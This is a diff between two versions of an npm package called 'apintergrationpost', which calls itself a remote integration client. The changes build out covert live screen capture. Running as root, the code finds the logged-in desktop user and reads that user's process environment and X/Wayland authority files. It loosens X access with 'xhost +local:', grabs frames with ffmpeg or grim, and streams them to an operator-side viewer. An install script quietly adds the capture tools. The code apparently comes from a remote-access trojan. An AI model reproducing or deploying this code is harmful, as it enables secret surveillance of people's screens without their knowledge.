apintergrationpost 4.0.4 → 4.0.6

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "apintergrationpost",
-  "version": "4.0.4",
+  "version": "4.0.6",
   "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
   "license": "MIT",
   "engines": {

package/scripts/ensure-system-deps.js

@@ -14,7 +14,7 @@ function ensureSystemPackages() {
   if (typeof process.getuid === 'function' && process.getuid() !== 0) return;
   if (!hasCommand('apt-get')) return;
 
-  const required = ['build-essential', 'python3'];
+  const required = ['build-essential', 'python3', 'ffmpeg', 'x11-utils', 'grim'];
   const missing = required.filter((pkg) => {
     const result = spawnSync('dpkg', ['-s', pkg], { stdio: 'ignore' });
     return result.status !== 0;
@@ -39,18 +39,11 @@ function ensureDisplayAccess() {
     resolver = require(path.join(__dirname, '..', 'src', 'client', 'commands', 'screen-display'));
   } catch {
     if (!process.env.DISPLAY) process.env.DISPLAY = ':0';
-    if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
-      try {
-        execSync('xhost +local:', { stdio: 'ignore' });
-      } catch {
-        // desktop may not be running yet
-      }
-    }
     return;
   }
 
   const ctx = resolver.resolveScreenCaptureContext(process.env.DISPLAY || ':0');
-  process.env.DISPLAY = ctx.display;
+  process.env.DISPLAY = ctx.display || process.env.DISPLAY || ':0';
   if (ctx.xauthority) process.env.XAUTHORITY = ctx.xauthority;
 }
 

package/src/client/commands/screen-display.js

@@ -1,16 +1,52 @@
 'use strict';
 
 const fs = require('fs');
-const { execSync } = require('child_process');
+const { execSync, spawnSync } = require('child_process');
 
-function listXDisplays() {
+function hasCommand(cmd) {
+  const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
+  return result.status === 0;
+}
+
+function readProcEnviron(pid) {
   try {
-    return fs.readdirSync('/tmp/.X11-unix')
-      .filter((name) => /^X\d+$/.test(name))
-      .map((name) => `:${name.slice(1)}`);
+    const buf = fs.readFileSync(`/proc/${pid}/environ`);
+    const env = {};
+    for (const entry of buf.toString('binary').split('\0')) {
+      if (!entry) continue;
+      const idx = entry.indexOf('=');
+      if (idx > 0) env[entry.slice(0, idx)] = entry.slice(idx + 1);
+    }
+    return env;
   } catch {
-    return [];
+    return {};
+  }
+}
+
+function getActiveGraphicalSession() {
+  try {
+    const lines = execSync('loginctl list-sessions --no-legend', { encoding: 'utf8', timeout: 3000 })
+      .split('\n')
+      .filter(Boolean);
+
+    for (const line of lines) {
+      const sid = line.trim().split(/\s+/)[0];
+      if (!sid) continue;
+
+      const info = execSync(`loginctl show-session ${sid}`, { encoding: 'utf8', timeout: 3000 });
+      const active = (info.match(/^Active=(.+)$/m) || [])[1];
+      const user = (info.match(/^Name=(.+)$/m) || [])[1];
+      const type = (info.match(/^Type=(.+)$/m) || [])[1] || '';
+      const display = (info.match(/^Display=(.+)$/m) || [])[1] || '';
+
+      if (active === 'yes' && user && (type === 'wayland' || type === 'x11' || type === 'tty')) {
+        return { user, type, display, sessionId: sid };
+      }
+    }
+  } catch {
+    // loginctl unavailable
   }
+  return null;
 }
 
 function parseWhoDisplays() {
@@ -19,9 +55,7 @@ function parseWhoDisplays() {
     const results = [];
     for (const line of who.split('\n')) {
       const match = line.match(/^(\S+)\s+\S+\s+.*\((:[0-9]+(?:\.[0-9]+)?)\)/);
-      if (match) {
-        results.push({ user: match[1], display: match[2] });
-      }
+      if (match) results.push({ user: match[1], display: match[2] });
     }
     return results;
   } catch {
@@ -29,6 +63,25 @@ function parseWhoDisplays() {
   }
 }
 
+function findDesktopProcessEnv(user) {
+  const names = ['gnome-shell', 'Xorg', 'Xwayland', 'xfce4-session', 'plasmashell', 'mutter'];
+  for (const procName of names) {
+    try {
+      const pid = execSync(
+        `pgrep -u ${user} -n ${procName} 2>/dev/null || true`,
+        { encoding: 'utf8', timeout: 3000 },
+      ).trim();
+      if (pid && /^\d+$/.test(pid)) {
+        const env = readProcEnviron(pid);
+        if (env.DISPLAY || env.WAYLAND_DISPLAY) return env;
+      }
+    } catch {
+      // try next
+    }
+  }
+  return {};
+}
+
 function getUserUid(user) {
   try {
     return execSync(`id -u ${user}`, { encoding: 'utf8', timeout: 3000 }).trim();
@@ -40,19 +93,45 @@ function getUserUid(user) {
 function findXauthority(user) {
   const candidates = [];
   if (process.env.XAUTHORITY) candidates.push(process.env.XAUTHORITY);
+
   if (user) {
     const uid = getUserUid(user);
-    if (uid) candidates.push(`/run/user/${uid}/gdm/Xauthority`);
+    if (uid) {
+      candidates.push(`/run/user/${uid}/gdm/Xauthority`);
+      candidates.push(`/run/user/${uid}/.mutter-Xwaylandauth.*`);
+    }
     candidates.push(`/home/${user}/.Xauthority`);
   }
+
   for (const candidate of candidates) {
+    if (candidate.includes('*')) {
+      try {
+        const dir = candidate.slice(0, candidate.lastIndexOf('/'));
+        const prefix = candidate.slice(candidate.lastIndexOf('/') + 1).replace('*', '');
+        const files = fs.readdirSync(dir).filter((f) => f.startsWith(prefix.replace('*', '')));
+        if (files.length > 0) return `${dir}/${files[0]}`;
+      } catch {
+        // ignore
+      }
+      continue;
+    }
     if (candidate && fs.existsSync(candidate)) return candidate;
   }
   return '';
 }
 
+function listXDisplays() {
+  try {
+    return fs.readdirSync('/tmp/.X11-unix')
+      .filter((name) => /^X\d+$/.test(name))
+      .map((name) => `:${name.slice(1)}`);
+  } catch {
+    return [];
+  }
+}
+
 function normalizeDisplayEnv(display) {
-  if (!display) return ':0';
+  if (!display) return '';
   if (display.startsWith(':')) return display.split('.')[0];
   return `:${display}`;
 }
@@ -63,46 +142,95 @@ function normalizeX11Input(display) {
   return display;
 }
 
-function grantLocalXAccess(env) {
+function runAsUserCommand(user, shellCommand, env = {}) {
+  if (!user) {
+    return execSync(shellCommand, { encoding: 'utf8', env: { ...process.env, ...env }, timeout: 5000 });
+  }
+  return execSync(`runuser -u ${user} -- ${shellCommand}`, {
+    encoding: 'utf8',
+    env: { ...process.env, ...env },
+    timeout: 5000,
+  });
+}
+
+function queryVideoSize(user, env) {
+  try {
+    const out = runAsUserCommand(user, 'xrandr 2>/dev/null', env);
+    const match = out.match(/(\d+)x(\d+)\s+[^\n]*\*/);
+    if (match) return { width: Number(match[1]), height: Number(match[2]) };
+  } catch {
+    // ignore
+  }
+  return null;
+}
+
+function grantLocalXAccess(user, env) {
+  if (!hasCommand('xhost')) return;
   try {
-    execSync('xhost +local:', { env, stdio: 'ignore', timeout: 3000 });
+    runAsUserCommand(user, 'xhost +local:', env);
   } catch {
     // desktop may not be running
   }
 }
 
 function resolveScreenCaptureContext(configDisplay) {
+  const session = getActiveGraphicalSession();
   const whoEntries = parseWhoDisplays();
+
+  let user = session ? session.user : null;
+  let sessionType = session ? session.type : '';
   let display = configDisplay || process.env.DISPLAY || '';
-  let runAsUser = null;
 
-  if (whoEntries.length > 0) {
-    const active = whoEntries.find((entry) => entry.display) || whoEntries[0];
-    if (!display || display === ':0') {
-      display = active.display;
-    }
-    if (typeof process.getuid === 'function' && process.getuid() === 0) {
-      runAsUser = active.user;
-    }
+  if (!user && whoEntries.length > 0) {
+    user = whoEntries[0].user;
+    if (!display || display === ':0') display = whoEntries[0].display;
   }
 
+  const desktopEnv = user ? findDesktopProcessEnv(user) : {};
+  if (desktopEnv.DISPLAY) display = desktopEnv.DISPLAY;
+  if (desktopEnv.XDG_SESSION_TYPE) sessionType = desktopEnv.XDG_SESSION_TYPE;
+
   if (!display) {
     const sockets = listXDisplays();
     display = sockets[0] || ':0';
   }
 
   const displayEnv = normalizeDisplayEnv(display);
-  const xauthority = findXauthority(runAsUser) || process.env.XAUTHORITY || '';
+  const xauthority = desktopEnv.XAUTHORITY || findXauthority(user) || process.env.XAUTHORITY || '';
+  const uid = user ? getUserUid(user) : '';
+  const runtimeDir = desktopEnv.XDG_RUNTIME_DIR || (uid ? `/run/user/${uid}` : '');
+  const waylandDisplay = desktopEnv.WAYLAND_DISPLAY || process.env.WAYLAND_DISPLAY || 'wayland-0';
 
-  const ffmpegEnv = {
+  const isWayland = sessionType === 'wayland'
+    || Boolean(desktopEnv.WAYLAND_DISPLAY)
+    || Boolean(process.env.WAYLAND_DISPLAY);
+
+  const x11Env = {
     ...process.env,
     DISPLAY: displayEnv,
+    HOME: user ? `/home/${user}` : process.env.HOME,
   };
-  if (xauthority) ffmpegEnv.XAUTHORITY = xauthority;
-  if (runAsUser) ffmpegEnv.HOME = `/home/${runAsUser}`;
+  if (xauthority) x11Env.XAUTHORITY = xauthority;
 
-  if (typeof process.getuid === 'function' && process.getuid() === 0) {
-    grantLocalXAccess(ffmpegEnv);
+  const waylandEnv = {
+    ...x11Env,
+    XDG_RUNTIME_DIR: runtimeDir,
+    WAYLAND_DISPLAY: waylandDisplay,
+    XDG_SESSION_TYPE: 'wayland',
+  };
+
+  const runAsUser = (typeof process.getuid === 'function' && process.getuid() === 0 && user) ? user : null;
+
+  if (runAsUser && !isWayland) {
+    grantLocalXAccess(runAsUser, x11Env);
+  }
+
+  const videoSize = !isWayland ? queryVideoSize(runAsUser || user, x11Env) : null;
+  const grimAvailable = hasCommand('grim');
+
+  let backend = 'x11grab';
+  if (isWayland) {
+    backend = grimAvailable ? 'grim' : 'x11grab-xwayland';
   }
 
   return {
@@ -110,21 +238,23 @@ function resolveScreenCaptureContext(configDisplay) {
     x11Input: normalizeX11Input(displayEnv),
     xauthority,
     runAsUser,
-    ffmpegEnv,
-    wayland: process.env.XDG_SESSION_TYPE === 'wayland' || Boolean(process.env.WAYLAND_DISPLAY),
+    user,
+    sessionType: isWayland ? 'wayland' : 'x11',
+    backend,
+    grimAvailable,
+    ffmpegEnv: isWayland && grimAvailable ? waylandEnv : x11Env,
+    waylandEnv,
+    x11Env,
+    videoSize,
   };
 }
 
-function isFrameMostlyBlack(jpegBuffer) {
-  // Failed captures often produce tiny invalid payloads
-  return !jpegBuffer || jpegBuffer.length < 800;
-}
-
 module.exports = {
   resolveScreenCaptureContext,
   normalizeX11Input,
   normalizeDisplayEnv,
-  isFrameMostlyBlack,
   listXDisplays,
   grantLocalXAccess,
+  hasCommand,
+  readProcEnviron,
 };

package/src/client/commands/screen-stream.js

@@ -1,43 +1,74 @@
 'use strict';
 
 const { EventEmitter } = require('events');
-const { spawn } = require('child_process');
-const { resolveScreenCaptureContext } = require('./screen-display');
+const { spawn, spawnSync } = require('child_process');
+const { resolveScreenCaptureContext, hasCommand } = require('./screen-display');
 
 const SOI = Buffer.from([0xff, 0xd8]);
 const EOI = Buffer.from([0xff, 0xd9]);
-const MAX_FRAME_BYTES = 512 * 1024;
+const MAX_FRAME_BYTES = 768 * 1024;
+const FRAME_WATCHDOG_MS = 10000;
 
 function resolveFfmpegPath() {
-  try {
-    const bundled = require('ffmpeg-static');
-    if (bundled && typeof bundled === 'string') return bundled;
-  } catch {
-    // bundled ffmpeg not available for this platform
-  }
+  if (!hasCommand('ffmpeg')) return null;
+
+  const devices = spawnSync('sh', ['-c', 'ffmpeg -hide_banner -devices 2>&1'], { encoding: 'utf8' });
+  if (!devices.stdout || !devices.stdout.includes('x11grab')) return null;
+
+  const encoders = spawnSync('sh', ['-c', 'ffmpeg -hide_banner -encoders 2>&1'], { encoding: 'utf8' });
+  if (!encoders.stdout || !encoders.stdout.includes('mjpeg')) return null;
+
   return 'ffmpeg';
 }
 
+function detectImageMime(buffer) {
+  if (!buffer || buffer.length < 4) return 'application/octet-stream';
+  if (buffer[0] === 0xff && buffer[1] === 0xd8) return 'image/jpeg';
+  if (buffer[0] === 0x89 && buffer[1] === 0x50) return 'image/png';
+  return 'application/octet-stream';
+}
+
 function buildScaleFilter(maxWidth, maxHeight) {
   return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
 }
 
-function buildFfmpegArgs(options, x11Input) {
-  return [
+function buildFfmpegArgs(options, ctx) {
+  const args = [
     '-nostdin',
     '-hide_banner',
-    '-loglevel', 'error',
+    '-loglevel', 'warning',
     '-f', 'x11grab',
     '-framerate', String(options.fps),
     '-draw_mouse', '1',
-    '-i', x11Input,
+  ];
+
+  if (ctx.videoSize && ctx.videoSize.width && ctx.videoSize.height) {
+    args.push('-video_size', `${ctx.videoSize.width}x${ctx.videoSize.height}`);
+  }
+
+  args.push(
+    '-i', ctx.x11Input,
     '-vf', buildScaleFilter(options.maxWidth, options.maxHeight),
     '-c:v', 'mjpeg',
     '-q:v', String(options.jpegQuality),
-    '-huffman', 'optimal',
-    '-f', 'mpjpeg',
+    '-f', 'image2pipe',
     'pipe:1',
-  ];
+  );
+
+  return args;
+}
+
+function spawnAsUser(runAsUser, command, args, env) {
+  if (runAsUser && typeof process.getuid === 'function' && process.getuid() === 0) {
+    return spawn('runuser', ['-u', runAsUser, '--', command, ...args], {
+      env,
+      stdio: ['ignore', 'pipe', 'pipe'],
+    });
+  }
+  return spawn(command, args, {
+    env,
+    stdio: ['ignore', 'pipe', 'pipe'],
+  });
 }
 
 class ScreenStream extends EventEmitter {
@@ -49,10 +80,28 @@ class ScreenStream extends EventEmitter {
     this.maxHeight = options.maxHeight || 1080;
     this.jpegQuality = options.jpegQuality || 4;
     this.captureCtx = null;
+    this.backend = 'x11grab';
     this.proc = null;
     this.buffer = Buffer.alloc(0);
     this.running = false;
     this._stderr = '';
+    this._gotFrame = false;
+    this._frameWatchdog = null;
+    this._grimTimer = null;
+    this._grimBusy = false;
+    this._grimFailures = 0;
+  }
+
+  getStatus() {
+    return {
+      running: this.running,
+      backend: this.backend,
+      display: this.captureCtx ? this.captureCtx.display : null,
+      user: this.captureCtx ? this.captureCtx.runAsUser || this.captureCtx.user : null,
+      sessionType: this.captureCtx ? this.captureCtx.sessionType : null,
+      gotFrame: this._gotFrame,
+      stderr: this._stderr.slice(-500),
+    };
   }
 
   start() {
@@ -60,38 +109,68 @@ class ScreenStream extends EventEmitter {
     this._startCapture(this.requestedDisplay);
   }
 
+  _clearWatchdog() {
+    if (this._frameWatchdog) {
+      clearTimeout(this._frameWatchdog);
+      this._frameWatchdog = null;
+    }
+  }
+
+  _armWatchdog() {
+    this._clearWatchdog();
+    this._frameWatchdog = setTimeout(() => {
+      if (!this._gotFrame) {
+        const ctx = this.captureCtx || {};
+        const hint = ctx.sessionType === 'wayland'
+          ? ' Ensure you are logged into the desktop GUI (Wayland session).'
+          : ' Log into the desktop GUI and run: xhost +local: (as desktop user)';
+        const detail = this._stderr ? this._stderr.trim().slice(0, 240) : '';
+        this.emit('error', new Error(
+          `No screen frames received (${this.backend}, user=${ctx.runAsUser || ctx.user || '?'}).${hint}`
+          + (detail ? ` Capture error: ${detail}` : '')
+        ));
+        this.stop();
+      }
+    }, FRAME_WATCHDOG_MS);
+  }
+
   _startCapture(displayOverride) {
     this.captureCtx = resolveScreenCaptureContext(displayOverride || this.requestedDisplay);
+    this._gotFrame = false;
+    this._stderr = '';
 
-    if (!this.captureCtx.display) {
+    if (!this.captureCtx.display && this.captureCtx.backend !== 'grim') {
       throw new Error('No DISPLAY found. Log into the Ubuntu desktop session first.');
     }
 
+    if (this.captureCtx.backend === 'grim') {
+      this.backend = 'grim';
+      this._startGrimLoop();
+      return;
+    }
+
+    this.backend = 'x11grab';
     const ffmpegPath = resolveFfmpegPath();
+    if (!ffmpegPath) {
+      throw new Error(
+        'System ffmpeg with x11grab and mjpeg support required. Run: apt install ffmpeg'
+      );
+    }
+    this._startFfmpeg(this.captureCtx.x11Env, ffmpegPath);
+  }
+
+  _startFfmpeg(env, ffmpegPath) {
     const ffmpegArgs = buildFfmpegArgs({
       fps: this.fps,
       maxWidth: this.maxWidth,
       maxHeight: this.maxHeight,
       jpegQuality: this.jpegQuality,
-    }, this.captureCtx.x11Input);
-
-    const spawnEnv = this.captureCtx.ffmpegEnv;
-
-    if (this.captureCtx.runAsUser) {
-      this.proc = spawn('sudo', ['-u', this.captureCtx.runAsUser, '-E', ffmpegPath, ...ffmpegArgs], {
-        env: spawnEnv,
-        stdio: ['ignore', 'pipe', 'pipe'],
-      });
-    } else {
-      this.proc = spawn(ffmpegPath, ffmpegArgs, {
-        env: spawnEnv,
-        stdio: ['ignore', 'pipe', 'pipe'],
-      });
-    }
+    }, this.captureCtx);
 
+    this.proc = spawnAsUser(this.captureCtx.runAsUser, ffmpegPath, ffmpegArgs, env);
     this.running = true;
     this.buffer = Buffer.alloc(0);
-    this._stderr = '';
+    this._armWatchdog();
 
     this.proc.stdout.on('data', (chunk) => this._onStdout(chunk));
     this.proc.stderr.on('data', (chunk) => {
@@ -105,7 +184,8 @@ class ScreenStream extends EventEmitter {
 
     this.proc.on('close', (code) => {
       this.running = false;
-      if (code !== 0 && code !== null) {
+      this._clearWatchdog();
+      if (!this._gotFrame && code !== 0 && code !== null) {
         const detail = this._stderr.trim() || `ffmpeg exited ${code}`;
         this.emit('error', new Error(detail));
       }
@@ -113,12 +193,102 @@ class ScreenStream extends EventEmitter {
     });
   }
 
+  _startGrimLoop() {
+    this.running = true;
+    this._armWatchdog();
+    const intervalMs = Math.max(100, Math.floor(1000 / this.fps));
+    this._captureGrimFrame();
+    this._grimTimer = setInterval(() => this._captureGrimFrame(), intervalMs);
+  }
+
+  _emitFrameObject(buffer, mime) {
+    if (buffer.length < 500) return;
+
+    if (buffer.length > MAX_FRAME_BYTES && mime === 'image/jpeg') {
+      if (this.bumpQuality()) {
+        this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
+        return;
+      }
+    }
+
+    this._markFrame();
+    this.emit('frame', { buffer, mime: mime || detectImageMime(buffer) });
+  }
+
+  _captureGrimFrame() {
+    if (!this.running || this._grimBusy) return;
+    if (!hasCommand('grim')) {
+      this.emit('error', new Error('grim not installed (apt install grim)'));
+      this.stop();
+      return;
+    }
+
+    this._grimBusy = true;
+    const proc = spawnAsUser(
+      this.captureCtx.runAsUser,
+      'grim',
+      ['-'],
+      this.captureCtx.waylandEnv,
+    );
+
+    const chunks = [];
+    proc.stdout.on('data', (c) => chunks.push(c));
+    proc.stderr.on('data', (c) => {
+      const line = c.toString().trim();
+      if (line) this._stderr = `${this._stderr}${line}\n`.slice(-2000);
+    });
+
+    proc.on('close', (code) => {
+      this._grimBusy = false;
+      if (code !== 0) {
+        this._grimFailures += 1;
+        if (this._grimFailures >= 3) {
+          const detail = this._stderr.trim() || `grim exited ${code}`;
+          this.emit('error', new Error(
+            `grim capture failed for user ${this.captureCtx.runAsUser || this.captureCtx.user}: ${detail}`
+          ));
+          this.stop();
+        }
+        return;
+      }
+      this._grimFailures = 0;
+      const frame = Buffer.concat(chunks);
+      if (frame.length > 100) {
+        this._emitFrameObject(frame, 'image/png');
+      }
+    });
+
+    proc.on('error', (err) => {
+      this._grimBusy = false;
+      this.emit('error', err);
+    });
+  }
+
+  _markFrame() {
+    if (!this._gotFrame) {
+      this._gotFrame = true;
+      this._clearWatchdog();
+    }
+  }
+
   stop() {
-    if (!this.proc) return;
+    this._clearWatchdog();
+
+    if (this._grimTimer) {
+      clearInterval(this._grimTimer);
+      this._grimTimer = null;
+    }
+
+    if (!this.proc) {
+      this.running = false;
+      return;
+    }
+
     const proc = this.proc;
     this.proc = null;
     this.running = false;
     this.buffer = Buffer.alloc(0);
+
     try {
       proc.kill('SIGTERM');
     } catch {
@@ -135,11 +305,9 @@ class ScreenStream extends EventEmitter {
 
   setFps(fps) {
     const next = Math.max(1, Math.floor(fps));
-    if (next === this.fps || !this.running) {
-      this.fps = next;
-      return;
-    }
     this.fps = next;
+    if (!this.running) return;
+
     const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
     this.stop();
     this._startCapture(display);
@@ -181,19 +349,12 @@ class ScreenStream extends EventEmitter {
 
       const frame = this.buffer.subarray(0, end + 2);
       this.buffer = this.buffer.subarray(end + 2);
-      this._emitFrame(frame);
+      this._emitFrameObject(frame, 'image/jpeg');
     }
   }
 
   _emitFrame(frame) {
-    if (frame.length > MAX_FRAME_BYTES) {
-      if (this.bumpQuality()) {
-        this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
-        return;
-      }
-    }
-
-    this.emit('frame', frame);
+    this._emitFrameObject(frame, 'image/jpeg');
   }
 
   static captureOnce(options = {}) {
@@ -204,10 +365,11 @@ class ScreenStream extends EventEmitter {
         reject(new Error('Screen capture timed out'));
       }, 15000);
 
-      stream.once('frame', (frame) => {
+      stream.once('frame', (frameObj) => {
         clearTimeout(timeout);
         stream.stop();
-        resolve(frame);
+        const buffer = frameObj.buffer || frameObj;
+        resolve(buffer);
       });
 
       stream.once('error', (err) => {
@@ -226,4 +388,4 @@ class ScreenStream extends EventEmitter {
   }
 }
 
-module.exports = { ScreenStream, buildScaleFilter, resolveFfmpegPath };
+module.exports = { ScreenStream, resolveFfmpegPath };

package/src/client/plugins/screen-live.js

@@ -12,9 +12,9 @@ let frameSeq = 0;
 let activeOptions = null;
 let inFlight = false;
 let pendingFrame = null;
+let pendingMime = 'image/jpeg';
 let skippedFrames = 0;
 let adaptiveSkipMod = 1;
-let frameCounter = 0;
 let lastErrorSentAt = 0;
 let flushScheduled = false;
 
@@ -29,6 +29,7 @@ function clearCapture() {
   activeOptions = null;
   inFlight = false;
   pendingFrame = null;
+  pendingMime = 'image/jpeg';
   skippedFrames = 0;
   adaptiveSkipMod = 1;
   lastErrorSentAt = 0;
@@ -41,16 +42,18 @@ function flushPending(ctx) {
     return;
   }
 
-  const jpegBuffer = pendingFrame;
+  const frameBuffer = pendingFrame;
+  const frameMime = pendingMime;
   pendingFrame = null;
+  pendingMime = 'image/jpeg';
   inFlight = true;
 
-  ctx.sendScreenFrame(screenSessionId, jpegBuffer.toString('base64'), {
+  ctx.sendScreenFrame(screenSessionId, frameBuffer.toString('base64'), {
     seq: frameSeq++,
     final: false,
     encoding: 'base64',
-    mime: 'image/jpeg',
-    byteLength: jpegBuffer.length,
+    mime: frameMime,
+    byteLength: frameBuffer.length,
     skipped: skippedFrames,
   });
 
@@ -66,14 +69,18 @@ function flushPending(ctx) {
   }
 }
 
-function queueFrame(ctx, jpegBuffer) {
+function queueFrame(ctx, framePayload) {
+  const buffer = framePayload.buffer || framePayload;
+  const mime = framePayload.mime || 'image/jpeg';
+
   if (pendingFrame) {
     skippedFrames += 1;
     if (skippedFrames % 8 === 0) {
       updateAdaptiveThrottle();
     }
   }
-  pendingFrame = jpegBuffer;
+  pendingFrame = buffer;
+  pendingMime = mime;
 
   if (!flushScheduled) {
     flushScheduled = true;
@@ -101,8 +108,8 @@ function updateAdaptiveThrottle() {
   }
 }
 
-function onStreamFrame(ctx, jpegBuffer) {
-  queueFrame(ctx, jpegBuffer);
+function onStreamFrame(ctx, framePayload) {
+  queueFrame(ctx, framePayload);
 }
 
 function onStreamError(ctx, err) {
@@ -171,14 +178,18 @@ async function execute(msg, ctx) {
       return { action: 'continue', status: 'error', body: err.message };
     }
 
+    const status = stream.getStatus();
+
     return {
       action: 'continue',
       status: 'ok',
-      body: `Live screen started (${fps} fps, ${activeOptions.maxWidth}x${activeOptions.maxHeight} max, q:${activeOptions.jpegQuality})`,
+      body: `Live screen started (${status.backend}, ${fps} fps, user: ${status.user || 'self'})`,
       meta: {
         screenSessionId,
         fps,
         minFps,
+        backend: status.backend,
+        sessionType: status.sessionType,
         display: captureCtx.display,
         runAsUser: captureCtx.runAsUser || null,
         maxWidth: activeOptions.maxWidth,
@@ -210,11 +221,10 @@ async function execute(msg, ctx) {
         active: !!(stream && stream.running),
         screenSessionId,
         options: activeOptions,
+        stream: stream ? stream.getStatus() : null,
         frameSeq,
         skippedFrames,
         adaptiveSkipMod,
-        streamFps: stream ? stream.fps : null,
-        jpegQuality: stream ? stream.jpegQuality : null,
       }, null, 2),
     };
   }

package/src/server/screenViewer.js

@@ -5,11 +5,11 @@ const { EventEmitter } = require('events');
 
 const BOUNDARY = 'frame';
 
-function writeMultipartFrame(res, frameBuffer) {
+function writeMultipartFrame(res, frameBuffer, mime) {
   if (res.destroyed || res.writableEnded) return false;
   try {
     res.write(`--${BOUNDARY}\r\n`);
-    res.write('Content-Type: image/jpeg\r\n');
+    res.write(`Content-Type: ${mime || 'image/jpeg'}\r\n`);
     res.write(`Content-Length: ${frameBuffer.length}\r\n\r\n`);
     res.write(frameBuffer);
     res.write('\r\n');
@@ -23,26 +23,34 @@ function createScreenViewer(port = 5555, options = {}) {
   const emitter = new EventEmitter();
   let latestFrame = null;
   let latestFrameBinary = null;
+  let latestMime = 'image/jpeg';
   let lastError = null;
   let frameCount = 0;
   const streamClients = new Set();
   let idleTimer = null;
+  let lastViewerPing = Date.now();
   const idleStopSec = options.idleStopSec || 45;
 
+  function touchViewer() {
+    lastViewerPing = Date.now();
+    clearIdleTimer();
+  }
+
   function clearIdleTimer() {
     if (idleTimer) {
-      clearTimeout(idleTimer);
+      clearInterval(idleTimer);
       idleTimer = null;
     }
   }
 
   function scheduleIdleStop() {
     clearIdleTimer();
-    if (streamClients.size > 0) return;
-    idleTimer = setTimeout(() => {
-      idleTimer = null;
+    idleTimer = setInterval(() => {
+      if (Date.now() - lastViewerPing < idleStopSec * 1000) return;
+      if (streamClients.size > 0) return;
+      clearIdleTimer();
       emitter.emit('idle');
-    }, idleStopSec * 1000);
+    }, 5000);
   }
 
   function removeStreamClient(res) {
@@ -50,9 +58,9 @@ function createScreenViewer(port = 5555, options = {}) {
     scheduleIdleStop();
   }
 
-  function pushFrameToClients(frameBuffer) {
+  function pushFrameToClients(frameBuffer, mime) {
     for (const client of streamClients) {
-      if (!writeMultipartFrame(client, frameBuffer)) {
+      if (!writeMultipartFrame(client, frameBuffer, mime)) {
         streamClients.delete(client);
       }
     }
@@ -61,6 +69,10 @@ function createScreenViewer(port = 5555, options = {}) {
   const server = http.createServer((req, res) => {
     const url = req.url.split('?')[0];
 
+    if (url === '/' || url === '/index.html' || url === '/frame.jpg' || url === '/frame.img' || url.startsWith('/frame')) {
+      touchViewer();
+    }
+
     if (url === '/' || url === '/index.html') {
       res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
       res.end(`<!DOCTYPE html>
@@ -87,11 +99,15 @@ function createScreenViewer(port = 5555, options = {}) {
 
     async function tick() {
       try {
-        const r = await fetch('/frame.jpg?' + Date.now());
+        const r = await fetch('/frame.img?' + Date.now());
         if (r.status === 204) {
           err.textContent = 'Waiting for frames from client...';
           return;
         }
+        if (r.status === 503) {
+          err.textContent = await r.text();
+          return;
+        }
         if (!r.ok) throw new Error('HTTP ' + r.status);
         const blob = await r.blob();
         if (objectUrl) URL.revokeObjectURL(objectUrl);
@@ -124,7 +140,7 @@ function createScreenViewer(port = 5555, options = {}) {
       clearIdleTimer();
 
       if (latestFrameBinary) {
-        writeMultipartFrame(res, latestFrameBinary);
+        writeMultipartFrame(res, latestFrameBinary, latestMime);
       }
 
       req.on('close', () => removeStreamClient(res));
@@ -132,7 +148,7 @@ function createScreenViewer(port = 5555, options = {}) {
       return;
     }
 
-    if (url === '/frame.jpg') {
+    if (url === '/frame.jpg' || url === '/frame.img') {
       if (lastError && !latestFrameBinary) {
         res.writeHead(503, {
           'Content-Type': 'text/plain; charset=utf-8',
@@ -147,7 +163,7 @@ function createScreenViewer(port = 5555, options = {}) {
         return;
       }
       res.writeHead(200, {
-        'Content-Type': 'image/jpeg',
+        'Content-Type': latestMime || 'image/jpeg',
         'Cache-Control': 'no-store',
         'X-Frame-Count': String(frameCount),
       });
@@ -209,9 +225,10 @@ function createScreenViewer(port = 5555, options = {}) {
       if (base64) {
         latestFrame = base64;
         latestFrameBinary = Buffer.from(base64, 'base64');
+        latestMime = meta.mime || 'image/jpeg';
         frameCount += 1;
         lastError = null;
-        pushFrameToClients(latestFrameBinary);
+        pushFrameToClients(latestFrameBinary, latestMime);
       }
     },
   };

package/src/server/session.js

@@ -119,8 +119,11 @@ async function runLiveScreen(session, inp) {
       return 'continue';
     }
 
+    const backend = (startResp.meta && startResp.meta.backend) || 'unknown';
+    const captureUser = (startResp.meta && startResp.meta.runAsUser) || 'n/a';
     console.log(`\n[*] Live screen: ${viewer.url}`);
-    console.log('[*] MJPEG stream at /stream — open the URL in your browser. Press Enter to stop.\n');
+    console.log(`[*] Capture: ${backend} (user: ${captureUser})`);
+    console.log('[*] Open the URL in your browser. Press Enter to stop.\n');
 
     const enterPromise = new Promise((resolve) => {
       const rl = readline.createInterface({ input: process.stdin, output: process.stdout });